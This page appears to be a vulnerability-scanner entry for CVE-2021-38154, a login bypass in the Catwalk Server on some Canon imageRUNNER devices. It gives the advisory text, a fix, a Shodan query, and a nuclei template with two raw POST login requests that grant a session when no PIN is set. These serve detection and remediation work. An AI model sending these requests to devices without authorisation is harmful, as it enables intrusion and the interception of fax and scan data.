Canon Devices - Authentication Bypass in Catwalk Server

highseverity

7.5CVSS score

4%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.

Impact

Unauthenticated attackers can modify email settings and redirect FAX and scan data to attacker-controlled email addresses when PIN protection is disabled, potentially intercepting sensitive business communications.

Fix

Configure a PIN for General User Mode or apply Canon firmware updates that address this vulnerability.

How to confirm it

Send: POST /tryLogin.cgi
Positive when: status_code == 303 and contains(location, "/portal_top.html") and contains(set_cookie, "fusion-http-session-id=")
Send: POST /checkLogin.cgi
Positive when: status_code == 302 and contains(location, "/portal_top.html") and contains(set_cookie, "sessid=")

Run it with nuclei: nuclei -id CVE-2021-38154 -u <target>

The full check

id: CVE-2021-38154

info:
  name: Canon Devices - Authentication Bypass in Catwalk Server
  author: daffainfo
  severity: high
  description: |
    Certain Canon devices manufactured in 2012 through 2020 (such as imageRUNNER ADVANCE iR-ADV C5250), when Catwalk Server is enabled for HTTP access, allow remote attackers to modify an e-mail address setting, and thus cause the device to send sensitive information through e-mail to the attacker. For example, an incoming FAX may be sent through e-mail to the attacker. This occurs when a PIN is not required for General User Mode, as exploited in the wild in August 2021.
  impact: |
    Unauthenticated attackers can modify email settings and redirect FAX and scan data to attacker-controlled email addresses when PIN protection is disabled, potentially intercepting sensitive business communications.
  remediation: |
    Configure a PIN for General User Mode or apply Canon firmware updates that address this vulnerability.
  reference:
    - https://protocolpolice.nl/CVE-2021-38154_Protocol_Police_Catwalk_Alert
    - https://www.usa.canon.com/internet/portal/us/home/support/product-advisories
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38154
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-38154
    cwe-id: CWE-732
    epss-score: 0.04
    epss-percentile: 0.9062
    cpe: cpe:2.3:h:canon:-:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: canon
    shodan-query: title:"imageRUNNER"
  tags: cve,cve2021,canon,auth-bypass,vkev,intrusive,vuln

flow: http(1) || http(2)

http:
  - raw:
      - |
        POST /tryLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        loginM=&0000=0011&0002=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 303'
          - 'contains(location, "/portal_top.html")'
          - 'contains(set_cookie, "fusion-http-session-id=")'
        condition: and

  - raw:
      - |
        POST /checkLogin.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        i0017=2&i0019=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(location, "/portal_top.html")'
          - 'contains(set_cookie, "sessid=")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from